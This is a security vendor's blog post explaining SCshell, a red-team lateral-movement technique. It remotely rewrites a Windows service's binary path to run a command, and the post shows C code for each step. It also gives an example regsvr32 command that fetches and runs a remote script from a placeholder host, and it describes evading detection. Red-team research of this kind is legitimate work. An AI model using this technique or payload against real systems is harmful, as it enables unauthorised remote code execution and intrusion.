Trustwave Unveils New Offerings to Maximize Value of Microsoft Security Investments. Learn More

Trustwave Unveils New Offerings to Maximize Value of Microsoft Security Investments. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

SCshell: Fileless Lateral Movement Using Service Manager

During red team engagements, lateral movement in a network is crucial. In addition, as a critical part of exploit chains, security solutions put a lot of effort to detect this movement. Techniques such as remote WMI and PsExec are fairly well detected. In the case of WMI, WmiPrvSe.exe will be the parent process responsible for spawning the process, making the detection a bit easier. PsExec on its end will push a file on the remote system and register a new service. Detecting the file and service creation may prevent the attack from succeeding.

In an attempt to use a technique that does not present the same behavior, I've developed a new tool I call SCshell. It is a fileless technique as long as your final payload does not drop a file on disk or does not need a file to work. It relies on the service manager capability to remotely modify a service binary path name via the ChangeServiceConfigA API.

Technical Details

As a first step it creates the authentication context this is achieved using LogonUserA API and ImpersonateLoggedOnUserA.

Image004

Once the process acquired the right authentication context, the Service Manager is remotely open using OpenSCManagerA.

SC_HANDLE schManager = OpenSCManagerA(targetHost, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if(schManager == NULL) { printf("OpenSCManagerA failed %ld\n", GetLastError()); ExitProcess(0); } printf("SC_HANDLE Manager 0x%p\n", schManager);

This next portion of code is responsible of opening the remote service using OpenServiceA API. The service is provided as an argument.

printf("Opening %s\n", serviceName); SC_HANDLE schService = OpenServiceA(schManager, serviceName, SERVICE_ALL_ACCESS); if(schService == NULL) { printf("OpenServiceA failed %ld\n", GetLastError()); ExitProcess(0); } printf("SC_HANDLE Service 0x%p\n", schService);

The magic is happening by calling the ChangeServiceConfigA API. The API fifth argument is the binary path used to launch the service.

Struct

As stated in Microsoft documentation argument can be supplied as part of the binary path name.

Microsoft

From an attacker perspective this means that we can run arbitrary command by setting the binary path name to something like:

“C:\windows\system32\cmd.exe /c regsvr32 /s /n /u /i://your.website/payload.sct scrobj.dll“

The call to ChangeServiceConfigA to setting the binary path name to the payload supplied.

bResult = FALSE; bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, NULL, NULL, NULL, NULL, NULL, NULL); if(!bResult) { printf("ChangeServiceConfigA failed to update the service path. %ld\n", GetLastError()); ExitProcess(0); } printf("Service path was changed to \"%s\"\n", payload);

Finally, the service is started via StartServiceA.

bResult = FALSE; bResult = StartServiceA(schService, NULL, NULL); DWORD dwResult = GetLastError(); if(!bResult && dwResult != 1053) { printf("StartServiceA failed to start the service. %ld\n", GetLastError()); } else { printf("Service was started\n"); }

Note that the error check excludes the error code 1053 which stands for: The service did not respond to the start or control request in a timely fashion.

Due to the fact that the command is not launching a service, there is a good chance that the call to StartServiceA will trigger this error. If it is the case, the StartServiceA call still executes the code but can’t properly start it as a service. At this point, you have executed your payload on the remote system.

The network capture confirms that the Windows APIs were called as expected.

Network

This technique performs all the authentication and execution over DCERPC and SVCCTL.

In conclusion, this technique uses a slightly different approach and does not require dropping files and registering services. Default Windows installation provides a lot of not super useful services that can be targeted such as XblAuthManager which is the service behind “Xbox Accessory Management Service”. The lack of service registration and file creation reduces the number of artifacts that might be observed by a security solution.

The tool that leverage this technique was released at https://github.com/SpiderLabs/SCShell

 

Latest SpiderLabs Blogs

Clockwork Blue: Automating Security Defenses with SOAR and AI

It’s impractical to operate security operations alone, using manual human processes. Finding opportunities to automate SecOps is an underlying foundation of Zero Trust and an essential architecture...

Read More

Professional Services Sector Under Attack - Trustwave SpiderLabs Report 2024

Recent research by Trustwave SpiderLabs, detailed in their newly published report "2024 Professional Services Threat Landscape: Trustwave Threat Intelligence Briefing and Mitigation Strategies,"...

Read More

Atlas Oil: The Consequences of a Ransomware Attack

Overview Atlas Oil, a major player in the oil and fuel distribution industry, fell victim to a ransomware attack orchestrated by the Black Basta group. This attack not only compromised sensitive...

Read More